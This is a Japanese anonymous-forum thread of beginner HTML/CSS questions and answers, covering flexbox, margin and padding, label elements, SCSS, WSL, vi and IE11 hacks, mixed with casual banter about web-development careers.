TOP カテ一覧 スレ一覧 100〜終まで 2ch元 削除依頼
一般人とweb制作者の見分け方
「ただいま厨と戦闘中」管理人野戦病院
[違法]MUGEN[犯罪]
XOOPSってどうよ?
Webのコンサルタントってどうよ?
初めてサイトを作った時を思い出すスレ
■◇■トラフィックゲート専用板 パート1■◇■
一般人とweb制作者の見分け方
バナー
●●GOOGLE検索は間違いだらけ●●

HTML/CSS のどんな質問にも優しく答えるスレ 42


1 :2019/12/31 〜 最終レス :2020/02/21
ここは初心者からベテランまで、全ての人を対象に優しく答えるスレです

類似質問、重複質問、丸投げ大いに結構。HTML / CSS 関係の事なら何でもOK
分からない人は何回聞いても結構。質問するときはIDを出すためにメール欄を
age にすることをおすすめします。

回答してくれる方は優しい人のみ! 質問者に対して暴言を吐く人はこのスレを見るな!!
終わった話を蒸し返すやつは このスレにくるな!!!
自分で調べろという回答も禁止!!回答するかさもなくば何も書き込むな!!

質問側も節度あるレスで!質問前にスレ内を検索しましょう

■次スレについて
基本的にレスナンバー>>980を取った人(立てられない場合は次の宣言者)が立てて下さい
重複を避けるため、独断でスレ立てはせず必ず意思表示をしてから立てて下さい(>>980を取った場合も)
立てられない事が予め分かっている場合は、>>980付近の書き込みは自重しましょう

■前ス
HTML/CSS のどんな質問にも優しく答えるスレ 41
https://mevius.2ch.sc/test/read.cgi/hp/1568126622/l50

■関連スレ
Webサイト制作初心者用質問スレ part251
http://mevius.2ch.sc/test/read.cgi/hp/1564414228/

■HTML
HTML Living Standard 日本語訳
http://momdo.github.io/html/index.html

■CSS
Selectors Level 4 日本語訳
http://triple-underscore.github.io/selectors4-ja.html

2 :
それにしてもHTML&CSS楽しいな

3 :
>>1


4 :
>>1乙 良いお年を

5 :
>>1
祝ってやる!

6 :
後一歩なんですがわかりません
コードはほぼ見直したんですが何故か画面が真っ黒なんです
スクリプトを外部から取り込んでるんですがこれが原因なのでしょうか?

7 :
>>6
まずはお餅をよーく見つめて

8 :
https://vintagedope.me/aizomekyouko.html

画面が黒く表示される原因がわかりません

9 :
アダルト違法サイトか

10 :
IE11でwidth: min-contentの挙動を表現させるうまい方法なんかない?

11 :
document.getElementById( XXXX ).style
について質問です。

画像を読み込んで表示し、
javascriptでcss編集して表示位置を任意に変更しようとしていました。

その際、
.left は 「 〜style.left = 数値 + "px"; 」で動かせたのですが、
.top は「 〜style.top = 数値 + "px"; 」では反応しませんでした( top の値が空白になる)

他に追加で
「 〜style.left = 数値; 」
「 〜style.left = "数値"; 」
「 〜style.left = "数値px"; 」
の3通りを試して、「 〜style.left = "数値px"; 」のみ値が入り動いたのですが、どういう事でしょうか。

・数値 + "px" と "数値px" は厳密には違うものとされるのでしょうか
・left はよくて、なぜ top がダメなのかも知りたいです
・見落としあったらご教授下さい

12 :
スイヤセェン… 自己解決しやしたぁ…

13 :
containerクラスのmarginの左右はautoに出来るのに
上下のmarginはautoに出来ないのはなぜ?why
アホすぎるこどおじに教えてください

14 :
"親コンテナにmin-heightのみで高さを与え、その子要素でheight:100%としても高さを取得できない"
これはどのブラウザでも同じ挙動になるからこの仕様で正しいんだと思う。

そこでflexレイアウト。
"flexコンテナにmin-heightのみで高さを与えてalign-items:centerするとIEだけ高さを認識しない"
ってのは有名なバグだが、これは認識するのが正しいのか、しないのが正しいのか。
flexコンテナに対するmin-heightの仕様がはっきりしないんだが、何処かに詳細ないかね?

15 :
$fuschia: #ff0081;
$button-bg: $fuschia;
$button-text-color: #fff;
$baby-blue: #f8faff;

すいませんこれの意味わかりますでしょうか? 
https://codepen.io/sadsfff/pen/xxbdpvm

cssの構文ミスで実装できません

16 :
そのSCSS を、SassMeister のサイトに入力したけど、エラーは無さそう

https://www.sassmeister.com/

17 :
ブラウザはscssをそのままでは理解できません、何らかのツールで普通のcssに変換する必要があります
scssをcssと言ってサンプル載せてるような糞サイトが多い弊害かな?

18 :
SCSSそのまま載せてるとこは、いまどきSCSSわからないやつは完全無視決めてるだけだと思うが
俺もそれでいいと思うよ

19 :
弊害もなにもscss自体素人お断りな言語なんだから
変換すること前提すら知らない奴ははなから相手ではないというだけでは

20 :
scssをcssと言ってサンプル載せてるような糞サイト
なんて一つも見たことがない

21 :
サイトを作っており周りのサイトよりデザインを頑張りたくてcode penを使いました
そしたらCSSの要素が消されて全く見えなくなり…
これじゃcodepenでデザインも綺麗にできません
そこで見たのがHTML CSSにphpを埋め込むという方法です
CSSの拡張子をphpに変えてlink lelで読み込ませる形なのですが これを使うとCSS要素も消されずに使えますか?

22 :
参考にさせてもらったサイトはこちらですhttps://chaika.hatenaブログ.com/entry/2015/09/23/142635
何とかcodepenの複雑なコードとCSSを共存させて要素が打ち消さずにできませんか?

23 :
codepenを使う理由がないだろ

24 :
この子は去年の暮れからいて
トンチキな質問してレスを楽しんでるだけなので程々に
あまりに適切な回答するとスルーする

25 :
>>23
どうしてもボタンやヘッダーにアニメーションのような機能をつけたくて…
やっぱり無理ですかね…

26 :
>>25
codepenなんて不便なものを使わないで作ればいいでしょ

27 :
>>26
ですかね…
コードが複雑すぎて要素が消されすぎて使いたくても無理でした…

28 :
なんかこの人たちの話してるcodepenと
俺の知ってるcodepenが違う…

29 :
サイトを作りたくてcodepenを使う????

30 :
ただの構ってちゃんだから放置しろ

31 :
とりあえずcodepenはクソという結論を
言っておけば被害者は減るだろ

32 :
codepen何か問題あるん?
コード晒しに便利なツールだと思うけどなあ

33 :
labelタグというのは現在でも使うものなのでしょうか?
pタグでも良さそうと思ったのですが、世間で使われているサイトでは
formの中にあるinputと関連する文字列はlabelタグを使うべきと考えるのでしょうか?

34 :
>>32
作ったものをcodepenで晒す・・・OK
codepenで作る・・・アホ

35 :
>>33
labelはどういうときに使うものと書いてあるかを確認しろ
自分で使い方を考えるんじゃない

36 :
それは後半に書いてる
それに忠実に従うのが正しいか聞いていのでは

37 :
>>33
後半の認識でOKだよ
for属性でinputと結びつけて使うんだぜ

inputと文字列をまとめてlabelで括るだけでなく
文字単体でも良いんだぜ

38 :
>>33
大抵のブラウザはinputと関連付けたlabelはその文字列をクリックしても選択できるようになる

39 :
codepenと言ってる構ってちゃんは俺より酷いな
人間のゆがみ具合がな
コードも歪んでるんだろうな

40 :
ちょっと言い過ぎた
ごめんなさい

41 :
>>35-38
>>38さんの内容が聞きたかった内容です。
今、やってみました。labelの文字列をクリックするとid指定した部分にフォーカスが当たるメリットがあるのですね。

これを実装するべきかどうかを考えると、
ユーザビリティ的にはあったほうが良いのですが必須ではないような・・という感じです。

42 :
ユーザビリティ的にあったほうがいいのなら、積極的に使えよ
必須でない言うなら、pもheaderもulもolも全部divでいいだろが

43 :
よーし、パパ全部div+idだけでサイト作っちゃうぞー

44 :
>>43
HTML5ができる寸前の頃ってそんなサイトばっかりだったよね
んでその頃のサイトが時代遅れで改修されつつあす昨今地獄をみるコーダー

45 :
フレックスボックスでpcで画像を横に4つに並べて、スマホで2つに並べたいんですがどうすれば良いでしょうか?

46 :
メディアクエリ

47 :
>>45
まずはflexboxで普通に横に並べてから、
justify-contentでspace-betweenかspace-aroundで子の配置位置を指定して、
あとはメディアクエリでPCサイズの時は1ブロック辺りwidth25%間隔で配置、
SPサイズで50%で配置。

メディアクエリ書く時はcssフレームワークのグリッドレイアウトを覚えて使ったほうがいいよ。
個別にメディアクエリ書いていくとガチでとんでもない面倒になるので。

参考URL
BootstrapのGridについて
https://getbootstrap.com/docs/4.1/layout/grid/
Bootstrap 4のグリッドシステムの基本を学ぼう
https://qiita.com/tonkotsuboy_com/items/a23ef99041880a698e9f

48 :
Bootstrapってオワコンなんですか?

49 :
個人的にはまだまだオワコンにはほど遠いと思うけどね
新しいcssフレームワークはたくさん出てくるけどBootstrapほど定着させたものは今の所存在しないし

俺のおすすめはTailwind CSS

50 :
progateやudemyで勉強してるのが楽しくて
社会なんかに出ずに部屋にこもって一生progateとudemyやってたい気分なんですが
そんなダメ人間のこどおじの俺はどうすれば良いですか?
叱咤激励なんでもいいですアドバイスお願いします。(今はレスポンシブデザインの勉強中)

51 :
>>41
ここの質問の7割は俺と君な気がする
君の戦闘力 40
俺の戦闘力 15
くらいだと思うけど宜しくな!
いつかオフ会でもして、コーディングについて語りあいたいものだな
おれはこどおじだけどな

52 :
>>50
progateとかudemyは参考書読んで勉強してるだけの学生となんら変わらんからなぁ
否定はしないけども、それだけをやってたとしてもなんらできる(作れる)ようにはならないんよね。
とりあえず最大でも40時間程度(個人的には20時間)勉強したらさっさと次のステップに進んだ方が効率いいよ。

次のステップとは実際に自分でなにか成果物を作ってgitに上げるなりサーバーにupしてみるってことね。
丸3年以上htmlとcss書いてたけど、結局何が一番役にたったか、成長したかというと「自分で作品を作ってみたから」と言える。
もし就職する時もポートフォリオの一つとして100%使えるから、マジでさっさと手を動かしたほうがいい。

53 :
>>51
1ヶ月に1回書き込むかどうかなので俺じゃないぞ。
今までデータセンターとESXiなどの仮想サーバでlinuxだけやってきたインフラ&サーバエンジニアだけど、
このご時世、バックエンドだけでは必要とされにくくなってきてる。

ここ1年は、フロント周り勉強してるけど、html4で昔やってた知識で止まってたのがアダになっていて、
プロゲもjs以外終わらせたけど、お問い合わせフォームを1つ作れと言ってもhtmlがキレイに作れないんだよな。
divで見えない枠を作るのかのレベル。

一昨日からbootstrap触りだしたけど、styleの記法が全然わからん。
webの仕事はかなり来て待たせているけど、アウトソーシングするより自分でしたいのもあるから
wordpressを先に実用レベルまでやるのが先か。
wordpressを動かすLAMP周りなら息するように構築できるけど、web制作ってこんなに辛いとは・・・

54 :
フロントエンドの人がバックエンドの人に仕事奪われてしまうん?

55 :
>>41
すげー大雑把なこと言うと

<label><input>文字列</label>

このような裸の文字列はスタイル書くときにすげー面倒
inputと文字列の位置をいじりたいときに

56 :
奪われるどころかますます別々の職種になっていくよ。
フロントなんて昔はhtmlだけだったのが、html5+css3になってjsが増えて、
さらに昨今はjsフレームワークてんこ盛りで移り変わりもめちゃくちゃ早い。

デザイナー寄り(UI/UX)かフルスタック寄り(バックエンド+js+フロントちょい)かでも分かれてる印象あるなぁ

57 :
>>56
96年から始めて99年から商売でやってるけど
HTMLだけでよかったことなんて一度もなかった気がするなあ

その時々で出来うる限界探って
なんとかやりたいことを実現してきた気がする

58 :
CGIとかPHPとか必須な時代もあったなぁ
PHPは今でもWP使うなら必須か
あれもそのうちなくなりそうだけど

59 :
>>58
なんで??

60 :
PHP以外でHTML直書きできる言語あるの?
それともHTML手書きが時代遅れなの?

61 :
>>60
たまにはJSPちゃんのことも思い出してあげてください

62 :
まあjsとcssで出来ることと、jsとphpで出来る事がもう被ってきてるから
全部まとまって1つになってもおかしくない。
みんなどこかでそう思ってるはずだから誰かがやるよ。

63 :
>>62
なんか全然分かっとらんのじゃね?w

64 :
Rails, Sinatra などの、Ruby も多い

Ruby でも、Node.js, webpack, npm/yarn などは必須。
jQuery, Bootstrap

Rails のコピーが、Express, Spring Boot, CakePHP とか

Ruby のテンプレートエンジンはERB で、書き方は、Express と同じ。
<%= name %>さん、こんにちわ!

65 :
Rubyは消えそう

66 :
>>52
俺みたいなこどおじにアドバイスさんきゅうな
モチベってあって忍者の犬が好きなんだよ^^
だから続けられるってものあるよ

67 :
このクソ分かりやすいRuby厨なんなん

68 :
HTML cssしか書けない奴はコーダーと言って
プログラム書いてる奴がプログラマーで、コーダーより上らしいよ
しらんけど

69 :
>>68
今時のおまえらが
20年前の広告代理店と同じこと言って
人を上下しようとするのは
なんが切ねえな

進歩がねえっつうか

70 :
業界の人間でも無い老齢コテハンこどおじに対して
そんなムキにならんでも。

それぞれ専門でプロとしてやっている人は
互いに無い物ねだりで尊敬し合ってるよ。

71 :
コーダーってバカにされて切れるのかお
こどおじは暇な時は煽るんだお
わかったかお^^

72 :
こどおじのくせに偉そうでワロタwwwwwww

73 :
とりあえず2020年になってhtml/cssのみで作れる物なんてたかが知れてるから
さっさとjs界隈か他の言語に移動したほうがいいとは思う。
少なくとも飯はクエない

74 :
静的なindex.htmlの新着情報を触ってftpに上げるだけで月収50万の社長の愛人がいるんだが、
htmlの操作が高いのか、それ以外のオプション技術が高いのか・・・
なお、cssは触っていない模様。

75 :
まぁ仕事の難易度と給料は全く比例しないよね
需要と供給で成り立つだけの話し
夜のオプションが高需要なんだろうなw

76 :
>>69
謝るからムキなるなよ

77 :
俺もちょっとはコーダーらしくなってきたぞ
昔はセレクタとか言うの恥ずかしかったけどな
今ではセレクタだけでなく、プロパティ名、値、までしっかりと言えるようになってきた

忍者わんこでも極めて行けば成長するもんだな
履歴書に忍者わんこ好きのこどおじですって書いてIT企業に面接に行くのが楽しみじゃわい

78 :
IT企業って言ってる時点で寒い

79 :
>>73
結婚出産で一旦辞めて、子供育ったから再起
みたいなおばちゃん何人か集めて使ってるけど
だいたい10〜25万くらい払ってるんで
食えないってことはないだろうな

これを生業にするのは厳しいとは思うけど

80 :
「あいうえおーーーーーーーーーーー(めっちゃ長い)ーーー」

みたいなテキストを限られた幅のテーブル内で表示するとき、
chrome だと

  あいうえおーー
  ーーーーーーー
  ーーー

という感じでそのテーブル内で折り返して自然に表示してくれるんですが、
FireFoxだと

  あいうえお
  ーーーーーーーーーーーーーーーー

みたいになって、横棒だけで改行をして、
テーブル幅も勝手に変えて横長になってしまいます。
FireFoxでもchromeみたいにテーブル幅で折り返してほしいのですが、
これはどうしたら解決できますか?

81 :
>>80
cssの
word-wrapかwhite-spaceで

82 :
おまえらこどおじって言いたいだけだろ

83 :
line-breakってなんですのん?

84 :
お前らに聞きたいことがあるお
真面目な質問だお
MacBookで開発するときに、エディタで書いたコードファイルはどこに置くのがベスト?
マックって保存先が書籍とかuserとか色々あるじゃない
どこが一番ナウいの?

85 :
書籍とか使ってるやついるのか?
保存は好きなフォルダ使って好きな場所に保存する
macにはCドライブとかDドライブとかいう概念はないので
どこにでも作っていいしどこに置いてもいい
管理的な面でユーザー内に作る事が多いけど

86 :
デザイナーはMac使うのが当然だって信者が言ってた
でもコーダーってデザイナーじゃないよね

87 :
プログラマーはLinux使うのが当然だと言う人もいた
でもコーダーってプログラマーじゃないよね

88 :
>>87
コードを書く人がコーダーだよ
プログラムのコードを書く人は当然コーダーだよ
つまりプログラマーはコーダーでもあるのだよ
このような論理的思考はプログラムに大切だよ

89 :
いやWebコーダーじゃん
プログラマーじゃないじゃん

90 :
data urlにてローカルファイルを参照させる方法はないのでしょうか?
data:から始めるとdomain無しなので同一マシンと認識されないということなのか、file:///〜と絶対パスで指定をしてもローカルファイルは無視されてしまいます

91 :
>>86
広告系だと業界標準だからしゃーない

92 :
>>90
ローカルファイルにアクセスできちゃったら困るだろ色々と

93 :
そうなんですが、ローカルなhtmlからは何の障壁もなくアクセスできるのでそれと同じ事をしたいのです

94 :
>>93
そうなんですが、ってお前分かってないよね?

それと同じことをしたいというのなら、
お前のHDDの中身をP2Pで共有してくれるか?

95 :
>>94
ローカルで生成したdata urlでローカルファイルを外部にアップロードする手法があるならぜひとも教えてもらいたいです
出来るのであればHDDの中身全て差し上げます

96 :
>>95
data urlでローカルファイルを参照することはできません。
冗長に言えば、ローカルで生成したdata urlでローカルファイルを外部にアップロードする手法はありません。
だから教えることもできません(爆笑)

97 :
>>86
そんな恥ずかしい信者まだいるのか?

98 :
>>97
信者とか関係ないと思う
ウェブ制作業やったことあるなら理由もわかるだろ
素人だったらごめん

99 :
>>98
じゃあ素人にも分かるようにデザイナーならマックでないといけない理由を教えてよ

100 :
一ヶ月でかっこいいサイトを作るとこまでいける方法を教えて

101 :
阿部 寛のホームページ をまねすれば一カ月でかっこいいのができる

102 :
>>99
広告業界標準だからじゃね?
Macじゃなきゃ使えない欧州の古い書体とかを
企業CIとかに使われてたら詰むじゃん

俺の知る限り、代理店仕事するなら
デザインではmacOS一択だと思うよ

103 :
ずっとウィンドウズ使ってきて昨日macbook
書いました。ターミナルについて全く慣れません
ウィンドウズのフォルダとファイルの管理に慣れてしまってるせいかもしれません

ターミナルって何?って感じです。
どういう風に捉えれば理解できるとかありますか?
保存しなくていいってだけで、えっ? 何それ?ってなります(笑)

104 :
>>103
ウィンドウズのコマンドプロンプトだと考えればいいよ

ウィンドウズはMS-DOS時代から同じの使ってるけど
ウィンドウズ以外ではシェルっていうのを使ってる

コマンド名やオプションの渡し方が違うのと
ディレクトリの区切りがスラッシュになっただけで、似たようなもんだ

ウェブやるならどうせサーバもUnix/Linuxだろうし
シェル覚えるのはどうせ必須だから気にすんな

105 :
>>103
>保存しなくていいってだけで、えっ? 何それ?ってなります(笑)

それは何かを勘違いしている(笑)

106 :
プライベートはWindowsで仕事はMacBookProだけど
ターミナル(シェル)の方が1000倍使いやすいぞ、Windows側が特殊なだけだからな。

107 :
WSLの搭載でそうじゃなくなったって聞いたよ

108 :
スレチ

109 :
linuxもWindowsも使ってるし、bashもhtmlもcssもphpも書くけど、作ったもんを動作確認するために動かしたりフォルダやファイル周りいじる以外なら普通にWindowsのが使いやすいと思う
因みにmacも昔持ってた

110 :
>>107
あれは微妙
完全に使えないわけじゃないんだけど
バーチャルマシンがCドライブをマウントしてるだけっつーか

111 :
極端な話
HTMLで書いてる/assets/img/hoge.jpgみたいなパスを
Linux/Unix(macOS)はそのまま使える
Windowsは使えない
みたいな違いだわな

112 :
git for windowsとかのシェルライクなの入れれば問題ない
VScodeで開発するときどーせ入れるだろ

113 :
>>110
> バーチャルマシンがCドライブをマウントしてるだけっつーか

ぜんぜん違う。今のWSL1にはバーチャルマシンは使われていないし
WSL2もCドライブをマウントしてるだけではない

まったく分かってないやつに微妙と言われても困るんだがw

114 :
>>105
:wq  を入力して編集して保存しないといけないの?
初心者すぎてすいません。

115 :
>>114
横だけど編集して保存したい場合はそうだよ
保存したくないぜ!って場合はq!
「vi 保存」とかで調べればでる

116 :
>>115
アドバイスありがとう!
まじで感謝する

117 :
>>113
なんでお前が困るんだよw

118 :
>>114
それはターミナルの話ではない

ターミナルからcliでログインしたOSの中で
viというテキストエディタを使ったときの
操作の話だ

viはvi自体を操作(保存とか)するモードと
実際に文字を書くモードと分て使うんだ
保存はShift+ZZでもいいんだぜ

119 :
>>118
ありがとう!
みんな凄いな!
高い金払ってスクール通い出したけど、まじで大変だわ。
やってるテキストの説明が丁寧じゃ無いし、CSSが機能しないと思って聞いたら「ああ、そこは飛ばしといて!」
とかだし(笑)

120 :
>>102
どうしてWebデザイナーが広告業界前提なんですかねぇ…

121 :
>>113
Win10のコマンドプロンプトでbashって打ったら
/mnt/c/Users/俺 になったんだけど
これUbuntuがCドライブをマウントしてるんじゃないの??
そんでホームディレクトリは別途/home/俺にあるっぽいんだけど

122 :
>>120
そりゃ業界標準だからじゃね?
ふつうにウェブ制作会社探して就職したら九分九厘
直か代理店経由での企業や企業のサービスのサイト制作じゃん
それって広告じゃん

123 :
そんなこと言ったら本業の広告屋に馬鹿にされるぞ

124 :
>>122
これはちょっと恥ずかしいけどそのままにしておこう

125 :
>>121
Windows10, WSL, Ubuntu(Linux)側から、

Wondows側のC ドライブへのアクセスは、
/mnt/c/Users/ユーザー名/Documents/〜

漏れは、いつも、WSL側から、Windows側をgrep してる。
なぜなら、Windowsでは、CP932 と、BOM 無しUTF-8 を区別できないから

BOMが付いていれば区別できるけど、
普通、ウェブ系開発ではバグるので、BOMを付けない

126 :
多分本当にバカなんだろう
マック信者ってそういう層

127 :
>>121
そう思いたい人にとってはそうなんだよ(半ギレ

1つのNTカーネルの上に
Windowsとubuntuの表層が別個に並んで起動してる感じ
なのでちょっと凝ったことしようとすると無理が出るんだけど
簡単なことならシームレスっぽく出来ない事はないよ

ウェブだったらWebサーバやタスクランナーやら動かすと思うけど
Windows側ではなく、ubuntu側のを使った方が色々やりやすい

128 :
>>125
>漏れは、いつも、WSL側から、Windows側をgrep してる。
wslって全然興味無かったけど、地味でそれ便利ね。
秀丸grepでも良いんだけど。
使い慣れているbashでできるのも良いよね。

129 :
>>119
今は1万円出せば充実した書籍やテキスト、動画講座(Udemyとか)、Web上での座学たくさんあるからスクールに大金払うよりいい気がするよ。
スクールで受け身で聞いてても自分で問題解決する力がなかなか増えないので、結局その先は自分で勉強するってことになるんだよな。
もし若いならIT企業のインターンとかで働いたほうがよっぽど力になると思うよ。

例えばN予備校のこれだと全コース含めて月たったの1000円だよ。
最初のコースだけで想定学習時間180時間もある
https://www.nnn.ed.nico/pages/programming/

130 :
拡張子をHTMLのままPHPを中で動作させることは成功したのですが
そのPHPにCSSを適応させる方法がわかりませんどうすればよいでしょうか?
.htaccessでPHPは読み込み可能にしてます

131 :
HTMLに外部srcを読み込んだ場合 何故かHTMLの部分だけにしか反映されません
HTMLにPHPを記載している状態で拡張子はHTMLのまま
そのホームページにCSSを書いたものの何故かPHPの部分のみ反映されずHTML部分のみCSSが適応されている
こんな状況です

132 :
すいません回答らしきものを見つけました
"confirm.php"が"contact.html"と同じパスに無いのだと思います。
"confirm.php"から相対パスで"style.css"が見えるようにリンクを修正してください。
これはどういう意味ですか?

133 :
>>131
.htaccessにはどういう書き方したのか知りたい
そもそもcssを絶対パスで指定したらどう?

134 :
>>133
https://whitebear-seo.com/htmlfile-extension-php/
こちらの記事を参考にしました

135 :
>>134
すまん情報を小出しじゃなくて全部書いてほしいな。
ディレクトリ構造とかcssファイルを読み込む為のsrcのパスをどうやって書いて指定してるのかとか
もし公開済みのものならURL教えてくれてもいいし、該当ファイルだけzipでupしてもいいし。

あとはそもそもcssファイルのキャッシュの問題とかだったら、
ChromeのF12のデベロッパーツールでDisable cacheにチェック入れて再読み込みしてみるとか。
同じくデベロッパーツールでcssファイル自体は全部読み込まれてるか(404とかになってないか)チェックしてみるとか。
同じくツールでcssソースを見てファイル自体は追記で書いたcssが記載されているものか見てみるとか。
原因色々あるからね。

136 :
>>135
その子
年末くらいに現れた
混乱させるのが目的でへんな文章書く痛い子だから
相手するのは程々にね

137 :
http://vintagedope.cfbx.jp/yosizawaakiho.html
ここのvintagedope.cfbx.jp/style.css
kanriのcssの部分を適応させるつもりです

138 :
おそらくphpmyadminでcssとデータをひもずけてないからが原因だと思うのですが違うのでしょうか?

139 :
PHP adminは関係なさそうですね…

140 :
あ・・そういうことね・・・
ソース見ても何から何までツッコミどころ満載すぎたからもう理解した。

141 :
>>136
その物言いは優しくないなあ

>>130-134,137-139
たぶんド初心者で何がわからないかわからない状態なんだろう

そんで、今やりたいことをやれるレベルにはないように見えるから
もう少しレベルを落としたほうがいいよ

・まずは文字を少し書く
・1個画像を貼る
・それに好みのスタイルを書く
・この2つを縦にも横にも思い通りに配置できるようになる

まずはここから

あと、質問を書くときは、こっちが幼稚園児でもわかるように書いてくれ
そっちの事情や状況は全くわからないのだから
正直、何言ってるのか全然わからん

用語も使うならできるだけ間違わないように、一個一個確かめてから使ってくれ
間違えた用法は誤解しか招かないし、用語を調べるのもとても勉強になるので

142 :
>>141
了解しました こちらこそ何度も低レベルな質問をしてしまいすみませんm(_ _)m
PHPは後で学んでみます 難しそうなので
もう1つ質問したいのですがHTMLの拡張子を変えずにPHPとして動作できる場合code pen を有効活用できないですかね?
拡張子はPHPになるためSEO対策としては良くないですが…
初心者なので謙虚に勉強していきますm(_ _)m

143 :
>>142
去年も言ったけど
あんたはcodepenを勘違いしている

あれはこういう場で質問したり
逆に誰かに説明したりする人が
コードを晒すためのものだ
ウェブ制作に使うものでは一切ないよ

拡張子がPHPだとSEOが云々というのも
何か勘違いをしていると思われる

SEOに関しては、Googleの中の人、もしくはその協力者の言うこと
あとそれをソースとして改変していない情報のみが正解なので
ネットで見たものをすぐに信じてはいけないよ

144 :
codepenは WEBアプリであってライブラリツールじゃないぞ

145 :
>>143
相手するとスレチに拍車がかかっているんだが認識できてる?
放っておけない性分かも知れないけど、意味不明なエスパーは流しておけばいいのに。

146 :
>>131
phpにcssを適応させるってのがイメージつかない
htmlベースで書いてるんだからhtmlにphpを反映させるのではなくて?
phpはあくまで動的部分を書くんだよ

147 :
codepenとか他にもWeb制作用の拡張機能たくさんあるけどみんなよく使うの?

148 :
あとphp学んでないのにphpを記載してるって危険
セキュリティ的に漏れても大丈夫なものならいいけど、そうでないなら公開領域にあまり置かない方がいいし

149 :
相手するとアカン奴やな
馬に説法とはよく言ったものだわ

150 :
馬に説法は草

151 :
>>140
せっかく頑張って作っても
通報一発で消えそうなw

152 :
上のやつが正解で下のやつは,hoverの前に半角スペースがあるからアウト
たったこれだけで反応しなくなるんだな

.banner a:hover {
opacity: 0.6;
}

.banner a: hover {
opacity: 0.6
}

153 :
初心者にとって一番難しいのはやっぱりセレクター

154 :
>>121
何がいいたいのかわからんが、
簡単にいえば、WSLはCドライブをマウントしてるだけではなく
もっと高度で便利な機能を提供してるって話

155 :
>>152
そこらへんはエディターの仕組みで解決させたほうがいいよ。
VSCodeとか使ってればcss lintはデフォであるから問題ない

156 :
昔メモ帳でやってたけど、シンタックスハイライト環境を見た時
びっくりして目玉飛び出て、元にはめ直すの大変やったわ。

157 :
>>153
初心者が最初に躓くのpositionとfloatだろ
あとブロック要素とインライン要素

158 :
自分はmarginとpaddingだった

159 :
>>157-158
初心者だけど、まさに

160 :
margin paddingは「家」と「家の敷地を囲う壁」と覚えたな。

内側から言っていくと、
「家」は要素自体の中身のこと。
「padding」は家と敷地の壁の間のこと。
「border」は壁自体のこと。
「margin」は壁の外。(他の家との距離)

https://i.imgur.com/Ap4gEGM.png

161 :
>>160
わかりやすい
俺はどうやらmarginとpaddingを逆に覚えていたようだ

162 :
>>157
何その素人意見

163 :
ああつまりあれだな
脱初心者しようとする時期に躓くのがセレクタ
最初は難しいことに気付かない

164 :
>>160
当たり前すぎてつまずかなかったけどその辺りってソース開くと画像で色付けてまで表示されてたじゃん

165 :
俺は今でもメモ帳だぜ

166 :
>>81
遅レスですみません、やってみます!
ありがとうございます

167 :
>>160
なんかね、そういうことじゃなくて
作るレイアウト見させられて、メイン領域の幅があって、その子要素が更に幅が狭められている場合、marginにすべきなの?paddingにすべきなの?って状態だった

168 :
上のmargin-bottomと、下のmarigin-topが混ざるみたいなの無かったっけ、
もう今はそうならないの?

169 :
marginの相殺は今も変わらない
縦と横で挙動が違う部分があるというのもハマリどころ

170 :
>>167
「親要素の幅」より「子要素の幅×数」の方が幅が狭くする場合は、
・親要素のpadding
・子要素のmargin
の2択であれば、基本的に親要素のpaddingで対応じゃないかな。
子の数によって可変しないからね。
後々、元々あった子要素以外の要素が追加された場合も問題ないので。


>>168
「marginの相殺」だね、今もなるよ。
基本的にはコーディングルールとしてmargin方向を統一することで回避する。
cssフレームワークを入れる時はそれらのルールは必ず確認して合わせる。

171 :
phpとcssどちらもやって、phpのが習得が楽だと感じた

172 :
プログラム畑出身なら当然そうなる。

173 :
やっぱり初心者がつまづくとこってjavascriptからですかね?あれって仕組みさえ理解できたらあとはライブラリーからコピペじゃダメなんでしょうか?

174 :
>>171
俺もcssは魔境だと思う、LAMP環境でサービスをゼロスクラッチで作る方が全然マシ

175 :
繰り返し処理、分岐、関数・・・とプログラムの基礎は皆同じだから
一度何かを習得したことあればあおは他の言語は応用でしかないよね。
それに対しcssはクセが強いデバイスで対応必要だしし似た言語がない。

176 :
>>173
コピペで済む事しかしないならそれでいいんじゃないの。

自分は仕事で具体的な機能を先方に求められたり
ライブラリでするようなことではない事(DOM書き換えてゴニョつとか)をするから対応スキルが必要。

phpもセキュリテイとか複雑な実用考えたら決して簡単とは思わんが。

177 :
>>172
デザイナー出身?とかだとhtmlやcssのが楽なの?
ちなみにjavascriptは理解しやすかった

178 :
自分はデザイナだけどCSSの方が簡単だし楽
VBSはできるけどPHPもjavascriptも未だわからん
何冊も本読んでもわかんので向き不向きだと思って諦めてる

179 :
セキュリティのこと考えると
phpやjsの方が重責、、

180 :
難しい計算しなくていいでしょ
だからHTMLとCSSの方が簡単!

と言う人はいる

181 :
というかプログラミングのニュースの話題でHTML、CSSの話が出ることはまず無い
つまりそういうことだよ

182 :
htmlやcssより先にNode.jsやっちゃって後で苦労した

183 :
paddingが詰め物って意味だから覚えるも何も・・・

184 :
>>167
> marginにすべきなの?paddingにすべきなの?って状態だった
要素の一部ならpaddingってだけだろう

>>168
marginは相手から(最低)これだけは離れていることって意味だから
要素の一部なら、それはかならず表示(?)されるべき空白だし、
相手からこんだけ離れていること。であれば相殺されるのは自然な話

見た目ばっかり見て、意味を考えてないから理解できないんだよ

185 :
> 俺もcssは魔境だと思う
そうかなあ?こっちの方が記述が一般寄りでかなり分かりやすいと思うけど

186 :
>>184
突然のマウントおじさんに草

187 :
>>186
あれみただけで、マウントされたって思っちゃうの?w

188 :
cssは一見簡単に見えるし座学上でも理解もできるんだけど
「実際のブラウザ上の動作」がそれとだいぶ感覚のズレがあるからそういった意味で難しい。
手を入れれば入れるほど難解になりやすいしcssをリファクタリングするってのもほとんど聞かないしね。

細かい動作だと、IE問題やらAndroidのあの機種はダメとか、iOSのこのverだとこのcssの動きが若干怪しいとか上げればキリがない。
エラーも出ないしプログラムとはまた別の難しさはあるね。

189 :
そうそう。要するに発展途上で未完成なんだよcssは。
プログラムは全般的に共通の原理原則が出来上がってるからね。

c:英語
javascript:日本語
jQuery:大阪弁
php:フランス語

css:象形文字

みたいなイメージだわ

190 :
どーゆーイメージwww

191 :
CSSが未完成なんじゃなくて
ブラウザ同士に規格がなく
それぞれが好き勝手に仕様作るブラウザ側の問題
IEてめえのことだよ

192 :
cssの機能的なところはhoudiniでどうにかなるだろうと楽観しているが、
セレクタの糞文法はどうにかしてほしいな。

193 :
>>178
わいもjavascriptなんとなくしかわからん。
でもわかりたい(ㆀ˘・з・˘)

194 :
IE11用ハックってので疑問まみれだから解説してくれん?

_:-ms-lang(x)::-ms-backdrop, せれくた { }

-ms-langと-ms-backdropを2つ繋げる必要性は?
先頭のアンダーバー(_)には何の意味がある?


*::-ms-backdrop, せれくた { }

